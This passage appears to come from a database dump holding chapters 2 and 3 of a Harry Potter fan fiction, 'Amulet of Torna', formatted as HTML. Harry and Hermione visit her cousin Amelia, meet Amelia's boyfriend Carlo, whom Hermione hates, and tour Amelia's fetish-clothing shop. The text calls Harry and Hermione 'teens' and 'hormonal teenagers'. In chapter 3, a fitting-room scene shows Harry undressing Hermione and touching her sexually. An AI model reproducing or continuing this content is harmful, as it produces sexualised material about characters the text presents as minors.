style="text-indent:.25in">&#8220;All right do you have yours\nHermione?&#8221; Harry asked.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Yes.&#8221; Hermione lifted it and set\nit down in front of her.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Okay teens lets get to my flat,\nits really cool.&#8221; Amelia said as she, Harry and Hermione left the airport.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Amelia drove them to her flat,\nthey took the stairs up to the fourth floor, where Amelia got out her key and\nunlocked her door.&nbsp; She opened the door\nand let them in first.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry and Hermione stood with\ntheir mouths opened at the size of her flat. &nbsp;It was situated somewhat like a studio, there\nmarble carvings up the walls, the ceiling was carved into what looked like\ngrapes and vines the reached the center of the ceiling where a lovely grape\nshaped chandelier hang down.&nbsp; The floors\nwere created of&nbsp; beige tile, there were\ntall windows that let in a large amount of light.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;This way.&#8221; Amelia said, &#8220;I&#8217;ll\nshow you to your room.&#8221;&nbsp; She brought them\nup three steps and towards two double glass doors with white curtains on the\ninside.&nbsp; Amelia opened the door &#8220;This is\nyour room, I hope you like it.&#8221;&nbsp; Amelia\nheard the voice of her boyfriend calling for her as soon as the front door\nclosed.&nbsp; She grinned, &#8220;Oh he&#8217;s back. You\ntwo get unpacked and then you can meet him.&#8221;&nbsp;\nAmelia quickly turned and raced back towards the front of the flat.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry and Hermione went inside the\nroom and closed the doors.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione turned to Harry &#8220;So what\ndo you think?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Of Amelia?&#8221; Harry sat down on the\nend of the bed and glanced down at the floor for a moment, it was the same\ntiles as they were in the rest of the flat. He then looked up at her and saw\nHermione slowly nod.&nbsp; &#8220;Well I can&#8217;t\nreally make a judgment call of her as of yet, I don&#8217;t even know her.&#8221;&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione noticed he seemed far\naway, She sat down next to him. &#8220;Harry what&#8217;s wrong?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Nothing?&#8221; He studied Hermione&#8217;s\nface carefully.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Don&#8217;t give me that, I know there\nis something wrong.&nbsp; You know you can\ntalk to me about anything.&#8221; Hermione lifted her hand and ran her fingers\nthrough his hair.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I&#8217;m a little concerned I suppose,\nabout your cousin&#8217;s boyfriend.&nbsp; The way\nshe described him to makes me feel a little less than&#8212; and well what if you\nfall for this guy?&#8221;&nbsp; Harry was cut off.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Oh Harry don&#8217;t think that way,\nAmelia has a way of blowing everything out of proportion,&#8221;&nbsp; She smiled &#8220;And why would I fall for this\nother guy when I have you.&#8221; Hermione leaned in and pressed her forehead against\nhis, &#8220;It&#8217;s always been you, there will never be anyone else for me.&#8221; She lifted\nher head and looked him straight in the eye.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry&#8217;s hands gently framed her\nface &#8220;Hermione, I never want you to think you&#8217;ve lost out on something because\nof me.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">She lifted her hand to cover of\nhis &#8220;I&#8217;m not losing out on anything, I have you here with me and that&#8217;s all\nthat I need.&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">He held her gaze for a moment and\nbrought her close, Harry&#8217;s mouth covered over hers and he took possession of\nher lips.&nbsp; One of the doors to the room\nwas pulled open disrupting their moment.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Excuse me.&#8221; The female voice\nsaid.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione turned with an aggravated\nlook upon her face &#8220;yes Amelia, what is it?&#8221;&nbsp;\nHer voice stung with irritation.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Oh there will be plenty of time\nfor you two to&#8212;&#8221; Amelia was cut off by Hermione glaring.&nbsp; &#8220;Fine, come out and meet my boyfriend and\nthen I can take you to my business and then we can go to dinner.&#8221;&nbsp; She left the room.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione turned back to Harry,\n&#8220;I&#8217;m sorry my cousin has no consideration.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Don&#8217;t worry about it Hermione,&#8221;\nHarry said with a smile.&nbsp; &#8220;We&#8217;ll have our\ntime later.&#8221; He grabbed her hand and they stood up from the bed and walked out\nof the room.&nbsp; The two of them walked into\nthe living room, Amelia was standing in front of someone sitting down on the\ncouch, so he was blocked completely.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Amelia turned hearing them\napproach she had the biggest smile upon her face as she came towards them.&nbsp; The person on the couch stood not looking up\nat anyone yet. Hermione noticed him and jumped back, and quickly turned around\nso her back was to him.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry thought that was odd and he\nleaned in closer, &#8220;Hermione?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione looked at Harry not\nmaking a sound and then turned her attention ahead of her.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Amelia started laughing thinking\nthat Hermione was only bashful, &#8220;Oh cuz, there&#8217;s no\nneed to be shy.&nbsp; Come on.&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">She took in a breath and then\nturned around to face Amelia&#8217;s boyfriend, Hermione saw his eyes widen with\nshock. She barely heard Amelia&#8217;s voice introducing him as Carlo Yuri.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;You are Amelia&#8217;s cousin?&#8221; Carlo\nasked astonished.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;You are Amelia&#8217;s boyfriend?&#8221;\nHermione asked at the same time, she felt very uncomfortable.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Amelia thought this was odd she\nlooked between the both of them,&nbsp; &#8220;you..two know each other?&#8221; She was confused.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione started laughing\nnervously, &#8220;heh, heh, you\ncould say we know each other.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry thought he had heard his\nname before somewhere, but where?&#8221; He eyed both Hermione and Carlo in thought.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Yes love.&#8221; Carlo said turning to\nAmelia, &#8220;It turns out your cousin and I were neighbors for most of our lives.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione nodded, &#8220;can you excuse me\nfor a moment, I need to use the rest room.&#8221; She quickly tore away from the room\nand quickly headed into the bathroom where she locked the door.&nbsp; She looked at her face in the mirror, she was\npale.&nbsp; She had to sit down.&nbsp; She flipped the toilet seat cover down and\nsat down.&nbsp; Hermione rested her elbows on\nher knees and buried her face with in her hands.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">As soon as the bathroom door\nclosed Harry turned back to Amelia and Carlo.&nbsp;\nHe thought a minute.&nbsp; His eyes\nnarrowed as it all came back to him, he instantly hated this Carlo guy.&nbsp;&nbsp;&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Amelia was even more confused now,\n&#8220;what&#8217;s the matter with her?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Carlo just shrugged.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I&#8217;m going to go find out.&#8221;&nbsp; Harry followed Hermione&#8217;s same path and came\nto the bathroom, he pressed his ear to the door he could hear light sniffling\non the inside.&nbsp; Harry knocked &#8220;Hermione,\nyou okay?&#8221; He said to the door.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Uh yeah, yeah I&#8217;m fine.&#8221; She said\nthrough the door.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Can I come in?&#8221; Harry asked.&nbsp; After a few seconds the door opened and Harry\nsaw her, her eyes were red.&nbsp; &#8220;Oh sweetie,\nit can&#8217;t be that bad.&#8221;&nbsp; He pulled her\ninto the warmth of his arms &#8220;Sure he was an old boyfriend&#8212;&#8221; He was cut off.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;No, he wasn&#8217;t really an old\nboyfriend Harry.&#8221; She turned her face into his chest, &#8220;I hate him, so much.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Oh you can&#8217;t hate anyone, you\ndon&#8217;t even hate Malfoy.&#8221; Harry said, his hands cupped her cheeks and tiled her\nface upwards.&nbsp; &#8220;It&#8217;s not in you to hate.&#8221;\nHe wiped her tears away with his thumb.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Yes I can hate Harry, I hate\nHim.&#8221; She said quietly, &#8220;and I do hate CarloYuri.&nbsp; You have no idea what he did.&#8221; Harry wondered\nif it was all clean and clear like that in her letters to Ron a few years ago.\nHis thoughts were interrupted bye Hermione&#8217;s voice, &#8220;Don&#8217;t leave me alone with\nhim Harry, please.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry held her tighter to him as\nshe rested her head against his shoulder. &#8220;I won&#8217;t, I promise.&#8221;&nbsp; Whatever it was, it must have been pretty\nbad.&nbsp; Harry would figure out what this\nCarlo did to his Hermione, it seemed to be more than a mere broken heart.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Can&#8217;t you two keep your hands of\neach other for two seconds.&#8221; Amelia teased.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I&#8217;m going to hurt her before this\nvacation is over.&#8221; Hermione replied she felt and heard Harry laugh.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;We&#8217;re hormonal teenagers and she\nshould know the answer to her own question.&#8221; Harry said light heartedly.&nbsp; He glanced down at the top of her head, &#8220;are\nyou going to be okay?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione nodded, &#8220;If he stays away\nfrom me, I&#8217;ll be just fine.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Hermione do you want to tell me?&#8221;\nHarry asked her carefully.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">She took in a breath, &#8220;I was an\nidiot, he used me.&nbsp; Took slight advantage\nof my weakness, I didn&#8217;t realize that before it was already done and over\nwith.&#8221; Hermione was quiet.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Oh Hermione, I&#8217;m so sorry.&#8221;&nbsp; He felt slightly bad and he so wanted to hurt\nCarlo for taking advantage of his Hermione.&nbsp;\n&#8220;I won&#8217;t let him hurt you Hermione,&#8221; Harry said as the memories of the\nlast time he said that came flooding back.&nbsp;\nHe narrowed his eyes at the thought, no one was going to hurt her ever\nagain and his arms tightened around her.&nbsp;\nNo one was ever going to hurt her again.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">=======</p>\n\n<p class="MsoNormal">Well that&#8217;s it for chapter two. I hope you all liked\nit.&nbsp; Stay tuned for chapter 3&#8212;Amelia&#8217;s\nBright Idea&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(43, 3, '\n\n\n\n\n\n\n\n<p class="MsoNormal" style="text-align:center;text-indent:.25in" align="center">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Disclaimer: : I don&#8217;t own original\nHarry Potter characters or situations, They belong to J.K Rowlings. If I owned\nthem, I would be sitting in Hawaii\nright now sipping drinks with little umbrellas in them and having hot guys serving\nmy every need. *sigh* Oh well.</p>\n\n<p class="MsoNormal" style="text-align:center;text-indent:.25in" align="center">&nbsp;</p>\n\n<p class="MsoNormal" style="text-align:center;text-indent:.25in" align="center">&nbsp;</p>\n\n<p class="MsoNormal" style="text-align:center;text-indent:.25in" align="center">Amulet\nof Torna</p>\n\n<p class="MsoNormal" style="text-align:center;text-indent:.25in" align="center">Chapter\n3&#8212;Amelia&#8217;s Bright Idea</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Okay kids, let&#8217;s get going lots\nto see this evening.&#8221; Amelia said with a smile.&nbsp;\nShe escorted Harry, Hermione and Carlo out of her flat and locked it up\ngood and tight.&nbsp; Amelia pocketed her keys\nand they started down the sidewalk.&nbsp; &#8220;My\nshop is just a block or so, it&#8217;s within walking distance.&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Did that new line come in yet?&#8221;\nCarlo asked.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Sure it did babe, it came in on\nWednesday.&#8221; Amelia said with a smirk, she turned to Hermione, &#8220;so does Harry\nhere know what I do?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione sighed, &#8220;Yes a little.&#8221;\nShe looked at him, feeling the redness rising to her cheeks already.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry cleared his throat, &#8220;I know\nyou are a designer for&#8212;&#8221; He was interrupted by Carlo.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;For fetishes and naughty\nunderwear.&#8221; Carlo answered.&nbsp; &#8220;Do you\nthink you can take it in there? Some things are pretty out of this world,\nprobably way out of this world for a shielded little boy like yourself who&#8217;s\nprobably still a&#8212; &#8221;&nbsp; This time Carlo was\ninterrupted by Harry.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I can take anything you throw at\nme; I&#8217;m not as shielded as you may think.&#8221; Harry narrowed his eyes, this guy\nwas irritating.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">They continued to walk down the\nsidewalk of businesses and came to a shop with words Steele painted on the\ndoor.&nbsp; She shop had tinted windows so you\nreally couldn&#8217;t see inside.&nbsp; Harry took\nHermione&#8217;s hand in his as Amelia opened the door and they stepped inside a very\nbusy store.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">The room smelled of lavender\nincense and the atmosphere of the shop made you feel like you just walked into\nsome kind of dungeon.&nbsp; There were chains\nalong the walls which looked like they actually came from a dungeon cell.&nbsp; Light fixtures in the shape of candles were\nstrewn about the walls with one very large iron chandelier in the center of the\nshowroom. The floor was made of black carpet with red spots.&nbsp; Racks of garments, skimpy and odd looking\ngarments were all about the shop.&nbsp; There\nwere many more expensive items on the walls much higher up.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione felt Harry clasp her hand\ntighter.&nbsp; She looked over at him she\nnoticed him looking around the shop unsure.&nbsp;\n&#8220;Are you alright?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry cleared his throat. &#8220;Yeah,\nof course.&#8221;&nbsp; He smiled.&nbsp;&nbsp; He was starting to feel a little warm as he\nglanced about the shop he spotted Amelia talking to three girls obviously\ndressed up in her fashions.&nbsp; He wondered\nif they were the models because they seemed like employees rather than\ncustomers.&nbsp; One of the girls who was a\nblonde was wearing a red leather halter-top with black vinyl shorts that cut\noff high above the thigh, and spiked red vinyl heel boots.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">The next girl who was a redhead\nwore a short black leather mini dress with a zipper down the front, her bosom\nlooked like it would spill out of the outfit in any given second. On her feet\nwere again leather spiked heels. The third girl who was a brunette wore a\nsimple white sheer robe with a black lacey bra and matching panties. She too\nwas wearing heels although hers were not spiked.&nbsp;&nbsp;&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione tugged on Harry&#8217;s hand\nand he looked at her.&nbsp; &#8220;So what do you\nthink?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;It&#8212;it&#8217;s very interesting in\nhere.&#8221; He was far more then just warm now.&nbsp;\nHarry saw a garment grab his attention and he pulled Hermione towards\nthe rack and dropped her hand.&nbsp; &#8220;Hey what\ndo you think about this?&#8221; He lifted the garment from the rack.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;What for you?&#8221; She stared at the\ndark blue leather mini dress the bodice was tied together with a black leather\nstring.&nbsp; She stared at it for a minute,\n&#8220;I don&#8217;t think it would fit you, I mean here look the skirt would totally ride\nup and&#8212;&#8221; She was interrupted.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Well not for me, well sort of for\nme. But for you.&#8221; Harry grinned.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione sighed, &#8220;Well it is a\nnice color, but leather. I don&#8217;t know.&#8221;&nbsp;\nShe really didn&#8217;t want it.&nbsp; &#8220;I\ndon&#8217;t think it comes in my size.&#8221; She saw him looking through the sizes and he\npulled it out with a very large smile on his face.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Look here&#8217;s your size right\nhere.&#8221;&nbsp; He lifted the hanger and dangled\nit back and forth. &#8220;Please, I think you would look very, very ,very&#8212;&#8221; He was\ncut off.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Okay fine.&#8221; Hermione replied.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Amelia was watching her cousin\ntake the hanger from Harry while on the other side of the showroom.&nbsp; She smiled a bit.&nbsp; Carlo came up behind her. </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Are you sure we should have taken\nthem here?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">She turned slightly, &#8220;what do you\nmean?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;You don&#8217;t want to go around\nputting ideas into their heads.&#8221; Carlo said with a smirk.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Oh Carlo, there is not one\nthought that I put in their heads that they haven&#8217;t already thought\nabout.&#8221;&nbsp; Amelia watched as Harry followed\nHermione towards a sales clerk.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione leaned near Harry&#8217;s ear,\n&#8220;I sure hope she speaks English I forgot to take the translation pills.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I hope so too, I also forgot.&#8221;\nHarry said as Hermione decided to get the salesclerk&#8217;s attention.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Could I get a fitting room please?&#8221;\nShe asked the lady.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">The salesclerk nodded with a\nsmile, and ushered Hermione towards a door and unlocked it with a key hanging\naround her neck.&nbsp; Hermione went inside\nand closed the door behind her.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry waited for a few minutes, in\nonly a short amount of time he was growing impatient, surely it couldn&#8217;t take\nthat long to try that on.&nbsp; He knocked on\nthe door of the fitting room and pressed his ear to the door. &#8220;Is everything\nall right in there?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Yeah,&#8221; her voice was muffled\nthrough the door.&nbsp; &#8220;It just takes time to\nlace up this thing.&nbsp; Much like that gown\nI wore back in,&#8221; She paused, &#8220;Uh you know where.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Do you think you need some help?&#8221;\nThe door opened a little and Harry could see her eyes.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Yes I could, do you want to help\nme or should I get the saleslady?&#8221; She asked even though she already knew the\nanswer.&nbsp; She really didn&#8217;t need help, but\nshe hoped he bought the rouse.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Oh no I&#8217;ll help you.&#8221;&nbsp; Harry offered immediately.&nbsp; He watched the door open more and he slipped\ninside closing the door behind him.&nbsp;\nHarry turned around and saw Hermione.&nbsp;\nIt seemed that time had actually stopped as he took in the full beauty\nof her body wrapped so snugly in blue leather, it clung to her like second\nskin.&nbsp; He felt his heart beat quicken, as\nhis eyes followed up the bodice that was only half way laced up.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Okay so are you going to help me\nor what?&#8221; She said with a smirk.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Uh&#8230;uh yeah.&#8221; He scratched the\nback of his head and he closer to her and lifted his hands to the strings where\nhe held them lightly looking down.&nbsp; He\nlifted his head and their eyes met.&nbsp;\nHarry forgot all about the garment and covered her mouth with his. He\nmoaned at the taste of her lips, he felt them part beneath his and he deepened\nthe kiss. His arms went around her and pulled her closer against him.&nbsp; He felt her responding eagerly to his kiss,\ntheir tongues tangling slowly and sweetly together.&nbsp; He ran his fingers up her back and found he\nreally didn&#8217;t like this material after all.&nbsp;\nHis hands continued to wander up her back and over her shoulders.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">While still kissing her Harry&#8217;s\nfingers went into the straps of the leather and pushed them off her shoulders\nand with his other hand tugged on the hem of the skirt and the garment started\nslipping agonizingly slow off her body. That would not do at all. It wasn&#8217;t\nuntil Harry really tugged at it that it gave way to the beauty that was\nHermione. Now only standing in her undergarments, the leather dropped to her\nfeet.&nbsp; Harry pressed Hermione up against\nthe wall as he continued to ravish her mouth without showing any\nrestraint.&nbsp; He pulled his mouth from hers\ntaking a breath and then returned for more.&nbsp;\nHe could never get enough of kissing her, over and over again.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione&#8217;s arms went around him\ntightly as she pulled him closer, she felt one of his hands travel down over\nher tummy and between her thighs. She gasped into his mouth feeling him\npressing his hand up against her.&nbsp; Harry\npulled his mouth from hers and kissed her cheek, down her chin and towards her neck.&nbsp; He didn&#8217;t want to kiss her too much on her\nneck and throat in case it brought back painful memories, then again she would\ntell him if she didn&#8217;t want him doing that.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry&#8217;s fingers slipped inside her\npanties and she gave a loud moan and pressed herself into his hand.&nbsp; A knock at the fitting room door caused him\nto quickly remove his hand from her body.&nbsp;\nHe leaned his forehead against hers and sighed with disappointment.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Hermione is everything alright?&#8221;\nIt was Amelia&#8217;s voice &#8220;how are you coming?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Well thanks to you I&#8217;m not.&#8221;\nHermione whispered and she heard Harry laugh.&nbsp;\n&#8220;She has the worst timing.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Yeah.&#8221; He said quietly, he\nreached down and grabbed her shirt for her, holding it with sort of a half\ngrin.&nbsp; &#8220;Well we have all night you know.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione smiled taking the shirt from\nhim, &#8220;I know.&nbsp; But still.&#8221; She threw her\nshirt on over her head.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry moved out of her way and he\nwatched as Hermione bent down and got into her shorts.&nbsp; &#8220;So do you think I should get the\noutfit?&#8221;&nbsp; She stood straight gazing into\nhis eyes.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Nah, I like you better in nothing\nat all anyway.&nbsp; That leather is just not\neasy to get you out of.&#8221; He smirked and Hermione leaned in to kiss him again\nbut her cousin&#8217;s voice ruined the moment.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Amelia heard Hermione talking to\nsomeone &#8220;Hermione who are you talking 